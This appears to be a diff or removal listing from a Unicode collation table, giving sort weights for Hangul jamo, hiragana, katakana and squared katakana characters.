-119E  ; [.3B19.0020.0002] # HANGUL JUNGSEONG ARAEA
-318D  ; [.3B19.0020.0004] # HANGUL LETTER ARAEA
-119F  ; [.3B1A.0020.0002] # HANGUL JUNGSEONG ARAEA-EO
-11A0  ; [.3B1B.0020.0002] # HANGUL JUNGSEONG ARAEA-U
-11A1  ; [.3B1C.0020.0002] # HANGUL JUNGSEONG ARAEA-I
-318E  ; [.3B1C.0020.0004] # HANGUL LETTER ARAEAE
-11A2  ; [.3B1D.0020.0002] # HANGUL JUNGSEONG SSANGARAEA
-11A3  ; [.3B1E.0020.0002] # HANGUL JUNGSEONG A-EU
-11A4  ; [.3B1F.0020.0002] # HANGUL JUNGSEONG YA-U
-11A5  ; [.3B20.0020.0002] # HANGUL JUNGSEONG YEO-YA
-11A6  ; [.3B21.0020.0002] # HANGUL JUNGSEONG O-YA
-11A7  ; [.3B22.0020.0002] # HANGUL JUNGSEONG O-YAE
-D7B0  ; [.3B23.0020.0002] # HANGUL JUNGSEONG O-YEO
-D7B1  ; [.3B24.0020.0002] # HANGUL JUNGSEONG O-O-I
-D7B2  ; [.3B25.0020.0002] # HANGUL JUNGSEONG YO-A
-D7B3  ; [.3B26.0020.0002] # HANGUL JUNGSEONG YO-AE
-D7B4  ; [.3B27.0020.0002] # HANGUL JUNGSEONG YO-EO
-D7B5  ; [.3B28.0020.0002] # HANGUL JUNGSEONG U-YEO
-D7B6  ; [.3B29.0020.0002] # HANGUL JUNGSEONG U-I-I
-D7B7  ; [.3B2A.0020.0002] # HANGUL JUNGSEONG YU-AE
-D7B8  ; [.3B2B.0020.0002] # HANGUL JUNGSEONG YU-O
-D7B9  ; [.3B2C.0020.0002] # HANGUL JUNGSEONG EU-A
-D7BA  ; [.3B2D.0020.0002] # HANGUL JUNGSEONG EU-EO
-D7BB  ; [.3B2E.0020.0002] # HANGUL JUNGSEONG EU-E
-D7BC  ; [.3B2F.0020.0002] # HANGUL JUNGSEONG EU-O
-D7BD  ; [.3B30.0020.0002] # HANGUL JUNGSEONG I-YA-O
-D7BE  ; [.3B31.0020.0002] # HANGUL JUNGSEONG I-YAE
-D7BF  ; [.3B32.0020.0002] # HANGUL JUNGSEONG I-YEO
-D7C0  ; [.3B33.0020.0002] # HANGUL JUNGSEONG I-YE
-D7C1  ; [.3B34.0020.0002] # HANGUL JUNGSEONG I-O-I
-D7C2  ; [.3B35.0020.0002] # HANGUL JUNGSEONG I-YO
-D7C3  ; [.3B36.0020.0002] # HANGUL JUNGSEONG I-YU
-D7C4  ; [.3B37.0020.0002] # HANGUL JUNGSEONG I-I
-D7C5  ; [.3B38.0020.0002] # HANGUL JUNGSEONG ARAEA-A
-D7C6  ; [.3B39.0020.0002] # HANGUL JUNGSEONG ARAEA-E
-11A8  ; [.3B3A.0020.0002] # HANGUL JONGSEONG KIYEOK
-11A9  ; [.3B3B.0020.0002] # HANGUL JONGSEONG SSANGKIYEOK
-11AA  ; [.3B3C.0020.0002] # HANGUL JONGSEONG KIYEOK-SIOS
-3133  ; [.3B3C.0020.0004] # HANGUL LETTER KIYEOK-SIOS
-FFA3  ; [.3B3C.0020.0012] # HALFWIDTH HANGUL LETTER KIYEOK-SIOS
-11AB  ; [.3B3D.0020.0002] # HANGUL JONGSEONG NIEUN
-11AC  ; [.3B3E.0020.0002] # HANGUL JONGSEONG NIEUN-CIEUC
-3135  ; [.3B3E.0020.0004] # HANGUL LETTER NIEUN-CIEUC
-FFA5  ; [.3B3E.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN-CIEUC
-11AD  ; [.3B3F.0020.0002] # HANGUL JONGSEONG NIEUN-HIEUH
-3136  ; [.3B3F.0020.0004] # HANGUL LETTER NIEUN-HIEUH
-FFA6  ; [.3B3F.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN-HIEUH
-11AE  ; [.3B40.0020.0002] # HANGUL JONGSEONG TIKEUT
-11AF  ; [.3B41.0020.0002] # HANGUL JONGSEONG RIEUL
-11B0  ; [.3B42.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK
-313A  ; [.3B42.0020.0004] # HANGUL LETTER RIEUL-KIYEOK
-FFAA  ; [.3B42.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-KIYEOK
-11B1  ; [.3B43.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM
-313B  ; [.3B43.0020.0004] # HANGUL LETTER RIEUL-MIEUM
-FFAB  ; [.3B43.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-MIEUM
-11B2  ; [.3B44.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP
-313C  ; [.3B44.0020.0004] # HANGUL LETTER RIEUL-PIEUP
-FFAC  ; [.3B44.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-PIEUP
-11B3  ; [.3B45.0020.0002] # HANGUL JONGSEONG RIEUL-SIOS
-313D  ; [.3B45.0020.0004] # HANGUL LETTER RIEUL-SIOS
-FFAD  ; [.3B45.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-SIOS
-11B4  ; [.3B46.0020.0002] # HANGUL JONGSEONG RIEUL-THIEUTH
-313E  ; [.3B46.0020.0004] # HANGUL LETTER RIEUL-THIEUTH
-FFAE  ; [.3B46.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-THIEUTH
-11B5  ; [.3B47.0020.0002] # HANGUL JONGSEONG RIEUL-PHIEUPH
-313F  ; [.3B47.0020.0004] # HANGUL LETTER RIEUL-PHIEUPH
-FFAF  ; [.3B47.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-PHIEUPH
-11B6  ; [.3B48.0020.0002] # HANGUL JONGSEONG RIEUL-HIEUH
-11B7  ; [.3B49.0020.0002] # HANGUL JONGSEONG MIEUM
-11B8  ; [.3B4A.0020.0002] # HANGUL JONGSEONG PIEUP
-11B9  ; [.3B4B.0020.0002] # HANGUL JONGSEONG PIEUP-SIOS
-11BA  ; [.3B4C.0020.0002] # HANGUL JONGSEONG SIOS
-11BB  ; [.3B4D.0020.0002] # HANGUL JONGSEONG SSANGSIOS
-11BC  ; [.3B4E.0020.0002] # HANGUL JONGSEONG IEUNG
-11BD  ; [.3B4F.0020.0002] # HANGUL JONGSEONG CIEUC
-11BE  ; [.3B50.0020.0002] # HANGUL JONGSEONG CHIEUCH
-11BF  ; [.3B51.0020.0002] # HANGUL JONGSEONG KHIEUKH
-11C0  ; [.3B52.0020.0002] # HANGUL JONGSEONG THIEUTH
-11C1  ; [.3B53.0020.0002] # HANGUL JONGSEONG PHIEUPH
-11C2  ; [.3B54.0020.0002] # HANGUL JONGSEONG HIEUH
-11C3  ; [.3B55.0020.0002] # HANGUL JONGSEONG KIYEOK-RIEUL
-11C4  ; [.3B56.0020.0002] # HANGUL JONGSEONG KIYEOK-SIOS-KIYEOK
-11C5  ; [.3B57.0020.0002] # HANGUL JONGSEONG NIEUN-KIYEOK
-11C6  ; [.3B58.0020.0002] # HANGUL JONGSEONG NIEUN-TIKEUT
-11C7  ; [.3B59.0020.0002] # HANGUL JONGSEONG NIEUN-SIOS
-3167  ; [.3B59.0020.0004] # HANGUL LETTER NIEUN-SIOS
-11C8  ; [.3B5A.0020.0002] # HANGUL JONGSEONG NIEUN-PANSIOS
-3168  ; [.3B5A.0020.0004] # HANGUL LETTER NIEUN-PANSIOS
-11C9  ; [.3B5B.0020.0002] # HANGUL JONGSEONG NIEUN-THIEUTH
-11CA  ; [.3B5C.0020.0002] # HANGUL JONGSEONG TIKEUT-KIYEOK
-11CB  ; [.3B5D.0020.0002] # HANGUL JONGSEONG TIKEUT-RIEUL
-11CC  ; [.3B5E.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK-SIOS
-3169  ; [.3B5E.0020.0004] # HANGUL LETTER RIEUL-KIYEOK-SIOS
-11CD  ; [.3B5F.0020.0002] # HANGUL JONGSEONG RIEUL-NIEUN
-11CE  ; [.3B60.0020.0002] # HANGUL JONGSEONG RIEUL-TIKEUT
-316A  ; [.3B60.0020.0004] # HANGUL LETTER RIEUL-TIKEUT
-11CF  ; [.3B61.0020.0002] # HANGUL JONGSEONG RIEUL-TIKEUT-HIEUH
-11D0  ; [.3B62.0020.0002] # HANGUL JONGSEONG SSANGRIEUL
-11D1  ; [.3B63.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-KIYEOK
-11D2  ; [.3B64.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-SIOS
-11D3  ; [.3B65.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-SIOS
-316B  ; [.3B65.0020.0004] # HANGUL LETTER RIEUL-PIEUP-SIOS
-11D4  ; [.3B66.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-HIEUH
-11D5  ; [.3B67.0020.0002] # HANGUL JONGSEONG RIEUL-KAPYEOUNPIEUP
-11D6  ; [.3B68.0020.0002] # HANGUL JONGSEONG RIEUL-SSANGSIOS
-11D7  ; [.3B69.0020.0002] # HANGUL JONGSEONG RIEUL-PANSIOS
-316C  ; [.3B69.0020.0004] # HANGUL LETTER RIEUL-PANSIOS
-11D8  ; [.3B6A.0020.0002] # HANGUL JONGSEONG RIEUL-KHIEUKH
-11D9  ; [.3B6B.0020.0002] # HANGUL JONGSEONG RIEUL-YEORINHIEUH
-316D  ; [.3B6B.0020.0004] # HANGUL LETTER RIEUL-YEORINHIEUH
-11DA  ; [.3B6C.0020.0002] # HANGUL JONGSEONG MIEUM-KIYEOK
-11DB  ; [.3B6D.0020.0002] # HANGUL JONGSEONG MIEUM-RIEUL
-11DC  ; [.3B6E.0020.0002] # HANGUL JONGSEONG MIEUM-PIEUP
-11DD  ; [.3B6F.0020.0002] # HANGUL JONGSEONG MIEUM-SIOS
-316F  ; [.3B6F.0020.0004] # HANGUL LETTER MIEUM-SIOS
-11DE  ; [.3B70.0020.0002] # HANGUL JONGSEONG MIEUM-SSANGSIOS
-11DF  ; [.3B71.0020.0002] # HANGUL JONGSEONG MIEUM-PANSIOS
-3170  ; [.3B71.0020.0004] # HANGUL LETTER MIEUM-PANSIOS
-11E0  ; [.3B72.0020.0002] # HANGUL JONGSEONG MIEUM-CHIEUCH
-11E1  ; [.3B73.0020.0002] # HANGUL JONGSEONG MIEUM-HIEUH
-11E2  ; [.3B74.0020.0002] # HANGUL JONGSEONG KAPYEOUNMIEUM
-11E3  ; [.3B75.0020.0002] # HANGUL JONGSEONG PIEUP-RIEUL
-11E4  ; [.3B76.0020.0002] # HANGUL JONGSEONG PIEUP-PHIEUPH
-11E5  ; [.3B77.0020.0002] # HANGUL JONGSEONG PIEUP-HIEUH
-11E6  ; [.3B78.0020.0002] # HANGUL JONGSEONG KAPYEOUNPIEUP
-11E7  ; [.3B79.0020.0002] # HANGUL JONGSEONG SIOS-KIYEOK
-11E8  ; [.3B7A.0020.0002] # HANGUL JONGSEONG SIOS-TIKEUT
-11E9  ; [.3B7B.0020.0002] # HANGUL JONGSEONG SIOS-RIEUL
-11EA  ; [.3B7C.0020.0002] # HANGUL JONGSEONG SIOS-PIEUP
-11EB  ; [.3B7D.0020.0002] # HANGUL JONGSEONG PANSIOS
-11EC  ; [.3B7E.0020.0002] # HANGUL JONGSEONG IEUNG-KIYEOK
-11ED  ; [.3B7F.0020.0002] # HANGUL JONGSEONG IEUNG-SSANGKIYEOK
-11EE  ; [.3B80.0020.0002] # HANGUL JONGSEONG SSANGIEUNG
-11EF  ; [.3B81.0020.0002] # HANGUL JONGSEONG IEUNG-KHIEUKH
-11F0  ; [.3B82.0020.0002] # HANGUL JONGSEONG YESIEUNG
-11F1  ; [.3B83.0020.0002] # HANGUL JONGSEONG YESIEUNG-SIOS
-3182  ; [.3B83.0020.0004] # HANGUL LETTER YESIEUNG-SIOS
-11F2  ; [.3B84.0020.0002] # HANGUL JONGSEONG YESIEUNG-PANSIOS
-3183  ; [.3B84.0020.0004] # HANGUL LETTER YESIEUNG-PANSIOS
-11F3  ; [.3B85.0020.0002] # HANGUL JONGSEONG PHIEUPH-PIEUP
-11F4  ; [.3B86.0020.0002] # HANGUL JONGSEONG KAPYEOUNPHIEUPH
-11F5  ; [.3B87.0020.0002] # HANGUL JONGSEONG HIEUH-NIEUN
-11F6  ; [.3B88.0020.0002] # HANGUL JONGSEONG HIEUH-RIEUL
-11F7  ; [.3B89.0020.0002] # HANGUL JONGSEONG HIEUH-MIEUM
-11F8  ; [.3B8A.0020.0002] # HANGUL JONGSEONG HIEUH-PIEUP
-11F9  ; [.3B8B.0020.0002] # HANGUL JONGSEONG YEORINHIEUH
-11FA  ; [.3B8C.0020.0002] # HANGUL JONGSEONG KIYEOK-NIEUN
-11FB  ; [.3B8D.0020.0002] # HANGUL JONGSEONG KIYEOK-PIEUP
-11FC  ; [.3B8E.0020.0002] # HANGUL JONGSEONG KIYEOK-CHIEUCH
-11FD  ; [.3B8F.0020.0002] # HANGUL JONGSEONG KIYEOK-KHIEUKH
-11FE  ; [.3B90.0020.0002] # HANGUL JONGSEONG KIYEOK-HIEUH
-11FF  ; [.3B91.0020.0002] # HANGUL JONGSEONG SSANGNIEUN
-D7CB  ; [.3B92.0020.0002] # HANGUL JONGSEONG NIEUN-RIEUL
-D7CC  ; [.3B93.0020.0002] # HANGUL JONGSEONG NIEUN-CHIEUCH
-D7CD  ; [.3B94.0020.0002] # HANGUL JONGSEONG SSANGTIKEUT
-D7CE  ; [.3B95.0020.0002] # HANGUL JONGSEONG SSANGTIKEUT-PIEUP
-D7CF  ; [.3B96.0020.0002] # HANGUL JONGSEONG TIKEUT-PIEUP
-D7D0  ; [.3B97.0020.0002] # HANGUL JONGSEONG TIKEUT-SIOS
-D7D1  ; [.3B98.0020.0002] # HANGUL JONGSEONG TIKEUT-SIOS-KIYEOK
-D7D2  ; [.3B99.0020.0002] # HANGUL JONGSEONG TIKEUT-CIEUC
-D7D3  ; [.3B9A.0020.0002] # HANGUL JONGSEONG TIKEUT-CHIEUCH
-D7D4  ; [.3B9B.0020.0002] # HANGUL JONGSEONG TIKEUT-THIEUTH
-D7D5  ; [.3B9C.0020.0002] # HANGUL JONGSEONG RIEUL-SSANGKIYEOK
-D7D6  ; [.3B9D.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK-HIEUH
-D7D7  ; [.3B9E.0020.0002] # HANGUL JONGSEONG SSANGRIEUL-KHIEUKH
-D7D8  ; [.3B9F.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-HIEUH
-D7D9  ; [.3BA0.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-TIKEUT
-D7DA  ; [.3BA1.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-PHIEUPH
-D7DB  ; [.3BA2.0020.0002] # HANGUL JONGSEONG RIEUL-YESIEUNG
-D7DC  ; [.3BA3.0020.0002] # HANGUL JONGSEONG RIEUL-YEORINHIEUH-HIEUH
-D7DD  ; [.3BA4.0020.0002] # HANGUL JONGSEONG KAPYEOUNRIEUL
-D7DE  ; [.3BA5.0020.0002] # HANGUL JONGSEONG MIEUM-NIEUN
-D7DF  ; [.3BA6.0020.0002] # HANGUL JONGSEONG MIEUM-SSANGNIEUN
-D7E0  ; [.3BA7.0020.0002] # HANGUL JONGSEONG SSANGMIEUM
-D7E1  ; [.3BA8.0020.0002] # HANGUL JONGSEONG MIEUM-PIEUP-SIOS
-D7E2  ; [.3BA9.0020.0002] # HANGUL JONGSEONG MIEUM-CIEUC
-D7E3  ; [.3BAA.0020.0002] # HANGUL JONGSEONG PIEUP-TIKEUT
-D7E4  ; [.3BAB.0020.0002] # HANGUL JONGSEONG PIEUP-RIEUL-PHIEUPH
-D7E5  ; [.3BAC.0020.0002] # HANGUL JONGSEONG PIEUP-MIEUM
-D7E6  ; [.3BAD.0020.0002] # HANGUL JONGSEONG SSANGPIEUP
-D7E7  ; [.3BAE.0020.0002] # HANGUL JONGSEONG PIEUP-SIOS-TIKEUT
-D7E8  ; [.3BAF.0020.0002] # HANGUL JONGSEONG PIEUP-CIEUC
-D7E9  ; [.3BB0.0020.0002] # HANGUL JONGSEONG PIEUP-CHIEUCH
-D7EA  ; [.3BB1.0020.0002] # HANGUL JONGSEONG SIOS-MIEUM
-D7EB  ; [.3BB2.0020.0002] # HANGUL JONGSEONG SIOS-KAPYEOUNPIEUP
-D7EC  ; [.3BB3.0020.0002] # HANGUL JONGSEONG SSANGSIOS-KIYEOK
-D7ED  ; [.3BB4.0020.0002] # HANGUL JONGSEONG SSANGSIOS-TIKEUT
-D7EE  ; [.3BB5.0020.0002] # HANGUL JONGSEONG SIOS-PANSIOS
-D7EF  ; [.3BB6.0020.0002] # HANGUL JONGSEONG SIOS-CIEUC
-D7F0  ; [.3BB7.0020.0002] # HANGUL JONGSEONG SIOS-CHIEUCH
-D7F1  ; [.3BB8.0020.0002] # HANGUL JONGSEONG SIOS-THIEUTH
-D7F2  ; [.3BB9.0020.0002] # HANGUL JONGSEONG SIOS-HIEUH
-D7F3  ; [.3BBA.0020.0002] # HANGUL JONGSEONG PANSIOS-PIEUP
-D7F4  ; [.3BBB.0020.0002] # HANGUL JONGSEONG PANSIOS-KAPYEOUNPIEUP
-D7F5  ; [.3BBC.0020.0002] # HANGUL JONGSEONG YESIEUNG-MIEUM
-D7F6  ; [.3BBD.0020.0002] # HANGUL JONGSEONG YESIEUNG-HIEUH
-D7F7  ; [.3BBE.0020.0002] # HANGUL JONGSEONG CIEUC-PIEUP
-D7F8  ; [.3BBF.0020.0002] # HANGUL JONGSEONG CIEUC-SSANGPIEUP
-D7F9  ; [.3BC0.0020.0002] # HANGUL JONGSEONG SSANGCIEUC
-D7FA  ; [.3BC1.0020.0002] # HANGUL JONGSEONG PHIEUPH-SIOS
-D7FB  ; [.3BC2.0020.0002] # HANGUL JONGSEONG PHIEUPH-THIEUTH
-3041  ; [.3BC3.0020.000D] # HIRAGANA LETTER SMALL A
-3042  ; [.3BC3.0020.000E] # HIRAGANA LETTER A
-30A1  ; [.3BC3.0020.000F] # KATAKANA LETTER SMALL A
-FF67  ; [.3BC3.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL A
-30A2  ; [.3BC3.0020.0011] # KATAKANA LETTER A
-FF71  ; [.3BC3.0020.0012] # HALFWIDTH KATAKANA LETTER A
-32D0  ; [.3BC3.0020.0013] # CIRCLED KATAKANA A
-3303  ; [.3BC3.0020.001C][.1B89.0020.001C][.3BED.0020.001C] # SQUARE AARU
-3300  ; [.3BC3.0020.001C][.3BDD.0020.001C][.0000.0038.001C][.1B89.0020.001C][.3BD7.0020.001C] # SQUARE APAATO
-3301  ; [.3BC3.0020.001C][.3BED.0020.001C][.3BDF.0020.001C][.3BC3.0020.001C] # SQUARE ARUHUA
-3302  ; [.3BC3.0020.001C][.3BF4.0020.001C][.3BE0.0020.001C][.0000.0038.001C][.3BC3.0020.001C] # SQUARE ANPEA
-3043  ; [.3BC4.0020.000D] # HIRAGANA LETTER SMALL I
-3044  ; [.3BC4.0020.000E] # HIRAGANA LETTER I
-30A3  ; [.3BC4.0020.000F] # KATAKANA LETTER SMALL I
-FF68  ; [.3BC4.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL I
-30A4  ; [.3BC4.0020.0011] # KATAKANA LETTER I
-FF72  ; [.3BC4.0020.0012] # HALFWIDTH KATAKANA LETTER I
-32D1  ; [.3BC4.0020.0013] # CIRCLED KATAKANA I
-3304  ; [.3BC4.0020.001C][.3BD9.0020.001C][.3BF4.0020.001C][.3BCB.0020.001C][.0000.0037.001C] # SQUARE ININGU
-3305  ; [.3BC4.0020.001C][.3BF4.0020.001C][.3BD4.0020.001C] # SQUARE INTI
-3045  ; [.3BC5.0020.000D] # HIRAGANA LETTER SMALL U
-3046  ; [.3BC5.0020.000E] # HIRAGANA LETTER U
-30A5  ; [.3BC5.0020.000F] # KATAKANA LETTER SMALL U
-FF69  ; [.3BC5.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL U
-30A6  ; [.3BC5.0020.0011] # KATAKANA LETTER U
-FF73  ; [.3BC5.0020.0012] # HALFWIDTH KATAKANA LETTER U
-32D2  ; [.3BC5.0020.0013] # CIRCLED KATAKANA U
-3094  ; [.3BC5.0020.000E][.0000.0037.0002] # HIRAGANA LETTER VU
-30F4  ; [.3BC5.0020.0011][.0000.0037.0002] # KATAKANA LETTER VU
-3306  ; [.3BC5.0020.001C][.3BC8.0020.001C][.3BF4.0020.001C] # SQUARE UON
-1B000 ; [.3BC6.0020.0011] # KATAKANA LETTER ARCHAIC E
-3047  ; [.3BC7.0020.000D] # HIRAGANA LETTER SMALL E
-3048  ; [.3BC7.0020.000E] # HIRAGANA LETTER E
-30A7  ; [.3BC7.0020.000F] # KATAKANA LETTER SMALL E
-FF6A  ; [.3BC7.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL E
-30A8  ; [.3BC7.0020.0011] # KATAKANA LETTER E
-FF74  ; [.3BC7.0020.0012] # HALFWIDTH KATAKANA LETTER E
-32D3  ; [.3BC7.0020.0013] # CIRCLED KATAKANA E
-3308  ; [.3BC7.0020.001C][.1B89.0020.001C][.3BC9.0020.001C][.1B89.0020.001C] # SQUARE EEKAA
-3307  ; [.3BC7.0020.001C][.3BD0.0020.001C][.3BCB.0020.001C][.1B89.0020.001C][.3BD7.0020.001C][.0000.0037.001C] # SQUARE ESUKUUDO
-3049  ; [.3BC8.0020.000D] # HIRAGANA LETTER SMALL O
-304A  ; [.3BC8.0020.000E] # HIRAGANA LETTER O
-30A9  ; [.3BC8.0020.000F] # KATAKANA LETTER SMALL O
-FF6B  ; [.3BC8.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL O
-30AA  ; [.3BC8.0020.0011] # KATAKANA LETTER O
-FF75  ; [.3BC8.0020.0012] # HALFWIDTH KATAKANA LETTER O
-32D4  ; [.3BC8.0020.0013] # CIRCLED KATAKANA O
-330A  ; [.3BC8.0020.001C][.1B89.0020.001C][.3BE4.0020.001C] # SQUARE OOMU
-3309  ; [.3BC8.0020.001C][.3BF4.0020.001C][.3BD0.0020.001C] # SQUARE ONSU
-3095  ; [.3BC9.0020.000D] # HIRAGANA LETTER SMALL KA
-304B  ; [.3BC9.0020.000E] # HIRAGANA LETTER KA
-30F5  ; [.3BC9.0020.000F] # KATAKANA LETTER SMALL KA
-30AB  ; [.3BC9.0020.0011] # KATAKANA LETTER KA
-FF76  ; [.3BC9.0020.0012] # HALFWIDTH KATAKANA LETTER KA
-32D5  ; [.3BC9.0020.0013] # CIRCLED KATAKANA KA
-304C  ; [.3BC9.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GA
-30AC  ; [.3BC9.0020.0011][.0000.0037.0002] # KATAKANA LETTER GA
-330B  ; [.3BC9.0020.001C][.3BC4.0020.001C][.3BEC.0020.001C] # SQUARE KAIRI
-330C  ; [.3BC9.0020.001C][.3BEB.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C] # SQUARE KARATTO
-330D  ; [.3BC9.0020.001C][.3BEF.0020.001C][.3BEC.0020.001C][.1B89.0020.001C] # SQUARE KARORII
-330E  ; [.3BC9.0020.001C][.0000.0037.001C][.3BEF.0020.001C][.3BF4.0020.001C] # SQUARE GARON
-330F  ; [.3BC9.0020.001C][.0000.0037.001C][.3BF4.0020.001C][.3BE2.0020.001C] # SQUARE GANMA
-304D  ; [.3BCA.0020.000E] # HIRAGANA LETTER KI
-30AD  ; [.3BCA.0020.0011] # KATAKANA LETTER KI
-FF77  ; [.3BCA.0020.0012] # HALFWIDTH KATAKANA LETTER KI
-32D6  ; [.3BCA.0020.0013] # CIRCLED KATAKANA KI
-304E  ; [.3BCA.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GI
-30AE  ; [.3BCA.0020.0011][.0000.0037.0002] # KATAKANA LETTER GI
-3310  ; [.3BCA.0020.001C][.0000.0037.001C][.3BC9.0020.001C][.0000.0037.001C] # SQUARE GIGA
-3311  ; [.3BCA.0020.001C][.0000.0037.001C][.3BD9.0020.001C][.1B89.0020.001C] # SQUARE GINII
-3312  ; [.3BCA.0020.001C][.3BE8.0020.001C][.3BEC.0020.001C][.1B89.0020.001C] # SQUARE KYURII
-3313  ; [.3BCA.0020.001C][.0000.0037.001C][.3BED.0020.001C][.3BD3.0020.001C][.0000.0037.001C][.1B89.0020.001C] # SQUARE GIRUDAA
-3314  ; [.3BCA.0020.001C][.3BEF.0020.001C] # SQUARE KIRO
-3315  ; [.3BCA.0020.001C][.3BEF.0020.001C][.3BCB.0020.001C][.0000.0037.001C][.3BEB.0020.001C][.3BE4.0020.001C] # SQUARE KIROGURAMU
-3316  ; [.3BCA.0020.001C][.3BEF.0020.001C][.3BE5.0020.001C][.1B89.0020.001C][.3BD7.0020.001C][.3BED.0020.001C] # SQUARE KIROMEETORU
-3317  ; [.3BCA.0020.001C][.3BEF.0020.001C][.3BF0.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C] # SQUARE KIROWATTO
-304F  ; [.3BCB.0020.000E] # HIRAGANA LETTER KU
-31F0  ; [.3BCB.0020.000F] # KATAKANA LETTER SMALL KU
-30AF  ; [.3BCB.0020.0011] # KATAKANA LETTER KU
-FF78  ; [.3BCB.0020.0012] # HALFWIDTH KATAKANA LETTER KU
-32D7  ; [.3BCB.0020.0013] # CIRCLED KATAKANA KU
-3050  ; [.3BCB.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GU
-30B0  ; [.3BCB.0020.0011][.0000.0037.0002] # KATAKANA LETTER GU
-3318  ; [.3BCB.0020.001C][.0000.0037.001C][.3BEB.0020.001C][.3BE4.0020.001C] # SQUARE GURAMU
-3319  ; [.3BCB.0020.001C][.0000.0037.001C][.3BEB.0020.001C][.3BE4.0020.001C][.3BD7.0020.001C][.3BF4.0020.001C] # SQUARE GURAMUTON
-331A  ; [.3BCB.0020.001C][.3BED.0020.001C][.3BD1.0020.001C][.0000.0037.001C][.3BC4.0020.001C][.3BEF.0020.001C] # SQUARE KURUZEIRO
-331B  ; [.3BCB.0020.001C][.3BEF.0020.001C][.1B89.0020.001C][.3BDB.0020.001C] # SQUARE KUROONE
-3096  ; [.3BCC.0020.000D] # HIRAGANA LETTER SMALL KE
-3051  ; [.3BCC.0020.000E] # HIRAGANA LETTER KE
-30F6  ; [.3BCC.0020.000F] # KATAKANA LETTER SMALL KE
-30B1  ; [.3BCC.0020.0011] # KATAKANA LETTER KE
-FF79  ; [.3BCC.0020.0012] # HALFWIDTH KATAKANA LETTER KE
-32D8  ; [.3BCC.0020.0013] # CIRCLED KATAKANA KE
-3052  ; [.3BCC.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GE
-30B2  ; [.3BCC.0020.0011][.0000.0037.0002] # KATAKANA LETTER GE
-331C  ; [.3BCC.0020.001C][.1B89.0020.001C][.3BD0.0020.001C] # SQUARE KEESU
-3053  ; [.3BCD.0020.000E] # HIRAGANA LETTER KO
-30B3  ; [.3BCD.0020.0011] # KATAKANA LETTER KO
-FF7A  ; [.3BCD.0020.0012] # HALFWIDTH KATAKANA LETTER KO
-32D9  ; [.3BCD.0020.0013] # CIRCLED KATAKANA KO
-3054  ; [.3BCD.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GO
-30B4  ; [.3BCD.0020.0011][.0000.0037.0002] # KATAKANA LETTER GO
-331E  ; [.3BCD.0020.001C][.1B89.0020.001C][.3BE1.0020.001C][.0000.0038.001C] # SQUARE KOOPO
-1F201 ; [.3BCD.0020.001C][.3BCD.0020.001C] # SQUARED KATAKANA KOKO
-30FF  ; [.3BCD.0020.0016][.3BD7.0020.0016] # KATAKANA DIGRAPH KOTO
-331D  ; [.3BCD.0020.001C][.3BED.0020.001C][.3BD8.0020.001C] # SQUARE KORUNA
-3055  ; [.3BCE.0020.000E] # HIRAGANA LETTER SA
-30B5  ; [.3BCE.0020.0011] # KATAKANA LETTER SA
-FF7B  ; [.3BCE.0020.0012] # HALFWIDTH KATAKANA LETTER SA
-32DA  ; [.3BCE.0020.0013] # CIRCLED KATAKANA SA
-1F202 ; [.3BCE.0020.001C] # SQUARED KATAKANA SA
-3056  ; [.3BCE.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZA
-30B6  ; [.3BCE.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZA
-331F  ; [.3BCE.0020.001C][.3BC4.0020.001C][.3BCB.0020.001C][.3BED.0020.001C] # SQUARE SAIKURU
-3320  ; [.3BCE.0020.001C][.3BF4.0020.001C][.3BD4.0020.001C][.1B89.0020.001C][.3BE4.0020.001C] # SQUARE SANTIIMU
-3057  ; [.3BCF.0020.000E] # HIRAGANA LETTER SI
-31F1  ; [.3BCF.0020.000F] # KATAKANA LETTER SMALL SI
-30B7  ; [.3BCF.0020.0011] # KATAKANA LETTER SI
-FF7C  ; [.3BCF.0020.0012] # HALFWIDTH KATAKANA LETTER SI
-32DB  ; [.3BCF.0020.0013] # CIRCLED KATAKANA SI
-3058  ; [.3BCF.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZI
-30B8  ; [.3BCF.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZI
-3006  ; [.3BCF.0020.0004][.3BE5.0020.0004] # IDEOGRAPHIC CLOSING MARK
-3321  ; [.3BCF.0020.001C][.3BEC.0020.001C][.3BF4.0020.001C][.3BCB.0020.001C][.0000.0037.001C] # SQUARE SIRINGU
-3059  ; [.3BD0.0020.000E] # HIRAGANA LETTER SU
-31F2  ; [.3BD0.0020.000F] # KATAKANA LETTER SMALL SU
-30B9  ; [.3BD0.0020.0011] # KATAKANA LETTER SU
-FF7D  ; [.3BD0.0020.0012] # HALFWIDTH KATAKANA LETTER SU
-32DC  ; [.3BD0.0020.0013] # CIRCLED KATAKANA SU
